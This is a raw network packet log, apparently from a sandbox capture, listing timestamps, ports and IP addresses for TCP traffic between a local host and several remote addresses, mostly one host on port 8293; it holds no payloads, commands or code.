Dec 27, 2024 14:43:42.810062885 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:42.898545980 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:42.898617983 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.138232946 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.138303995 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.258611917 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.258744001 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.378287077 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.378549099 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.465859890 CET	50070	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:43.498200893 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.498473883 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.585375071 CET	80	50070	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:43.585462093 CET	50070	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:43.599646091 CET	50070	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:43.618014097 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.618403912 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.719129086 CET	80	50070	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:43.737993956 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.738126993 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.857669115 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.858215094 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:43.978595972 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:43.978658915 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:44.098232985 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:44.098783970 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:44.218290091 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:44.218343019 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:44.337819099 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:44.564989090 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:44.684567928 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:44.727601051 CET	80	50070	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:44.727669001 CET	50070	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:44.935216904 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:45.052839041 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:45.052870035 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:45.052927017 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:45.055160046 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:45.055175066 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:45.056385994 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:45.056430101 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:45.372936964 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:45.666907072 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:45.666958094 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:45.667141914 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:45.786778927 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:45.786856890 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:45.906483889 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:45.906563997 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.026212931 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.026279926 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.145880938 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.145936966 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.265508890 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.265764952 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.385322094 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.385382891 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.505665064 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.505716085 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.625212908 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.672508001 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.789714098 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:46.789786100 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:46.792074919 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.833252907 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:46.860213995 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:46.860234976 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:46.860574007 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:46.860630989 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:46.861787081 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:46.903333902 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:46.952923059 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:46.961402893 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:47.080988884 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:47.098994970 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:47.218846083 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:47.523602009 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:47.523710966 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:47.523899078 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:47.729748011 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:47.745454073 CET	50082	443	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:47.745471001 CET	443	50082	172.67.161.29	192.168.2.4
Dec 27, 2024 14:43:47.849266052 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:47.851730108 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:47.971441984 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:47.981061935 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.101345062 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:48.101402044 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.221769094 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:48.258004904 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.378245115 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:48.431824923 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.551341057 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:48.578743935 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.698249102 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:48.698292971 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.817786932 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:48.817852974 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:48.938055038 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.005816936 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.125376940 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.143635988 CET	50070	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:49.144542933 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.265249014 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.324848890 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.445744038 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.445920944 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.565634012 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.565998077 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.685635090 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.691169977 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.810796976 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.811059952 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:49.930720091 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:49.935627937 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:50.055298090 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:50.065479040 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:50.065505028 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:50.406588078 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:50.526177883 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:50.541403055 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:50.660870075 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:50.666862011 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:50.786339045 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:50.815865993 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:50.935513020 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:50.935573101 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.055111885 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.069015026 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.188610077 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.195930958 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.315515995 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.332431078 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.452186108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.462974072 CET	50108	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.464695930 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.582515001 CET	8293	50108	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.582611084 CET	50108	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.584188938 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.621197939 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.664946079 CET	50108	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.742041111 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.784532070 CET	8293	50108	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.788781881 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:51.909615993 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:51.909784079 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.029352903 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.029453039 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.148947954 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.149110079 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.268596888 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.268791914 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.388237000 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.388307095 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.507810116 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.518640041 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.640136003 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.716423988 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.814059019 CET	8293	50108	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:52.817364931 CET	50108	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:52.835985899 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:53.273749113 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:53.393305063 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:53.474335909 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:53.593871117 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:53.706775904 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:53.826241970 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:53.904750109 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:54.024745941 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:54.055171013 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:54.175403118 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:54.230050087 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:54.349824905 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:54.366499901 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:54.487456083 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:54.503340006 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:54.816464901 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:54.816567898 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:54.936152935 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:54.966314077 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:55.085973978 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:55.148405075 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:55.267879963 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:55.341133118 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:55.460819006 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:55.592060089 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:55.711546898 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:56.120523930 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:56.240010977 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:56.423824072 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:56.543282032 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:56.601322889 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:56.720771074 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:56.744235039 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:56.865334034 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:56.873327971 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:56.992994070 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.040023088 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.159466028 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.159557104 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.279210091 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.279300928 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.398840904 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.398895025 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.518388033 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.525595903 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.646414042 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.646476030 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.765932083 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.765990973 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:57.886791945 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:57.886926889 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.006537914 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:58.006714106 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.127077103 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:58.127239943 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.246665001 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:58.246718884 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.255681992 CET	50143	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.366255999 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:58.376591921 CET	8293	50143	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:58.376681089 CET	50143	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.859766006 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.863868952 CET	50143	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.979569912 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:58.979655027 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:58.983537912 CET	8293	50143	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.099281073 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.099353075 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.218864918 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.218923092 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.338459969 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.365902901 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.485595942 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.485644102 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.605175972 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.605421066 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.651437998 CET	8293	50143	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.651520014 CET	50143	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.725631952 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.725718021 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.845168114 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.869539976 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:59.989124060 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:59.989213943 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.108922005 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.108978033 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.228574038 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.228621960 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.348150969 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.348265886 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.467819929 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.467977047 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.587501049 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.587563992 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.707139969 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.707261086 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.826781988 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.826823950 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:00.946389914 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:00.946470022 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:01.066529036 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:01.087254047 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:01.206824064 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:01.443805933 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:01.563457012 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:01.717736006 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:01.837241888 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:01.837287903 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.109314919 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.109381914 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.229820967 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.229922056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.349553108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.349708080 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.469252110 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.469345093 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.589098930 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.589190006 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.708736897 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.708789110 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.828427076 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:02.828506947 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:02.948043108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.047331095 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:03.471277952 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:03.501527071 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.501630068 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:03.590873003 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.590924025 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:03.621167898 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.711669922 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.711755991 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:03.832385063 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.832449913 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:03.952842951 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:03.952903032 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:04.076253891 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:04.479089975 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:04.598619938 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:04.599328995 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:04.718874931 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:04.718940020 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:04.838442087 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:04.838484049 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:04.959256887 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:04.959321022 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.078896046 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.078989983 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.198766947 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.198848009 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.318471909 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.318520069 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.438080072 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.438154936 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.557821989 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.557866096 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.677444935 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.677545071 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.797185898 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.797254086 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:05.916774035 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:05.916830063 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:06.036544085 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.036645889 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:06.156204939 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.156272888 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:06.275966883 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.282149076 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:06.401715040 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.401845932 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:44:06.521310091 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:44:06.521383047 CET	49748	8293	192.168.2.4	89.23.100.42
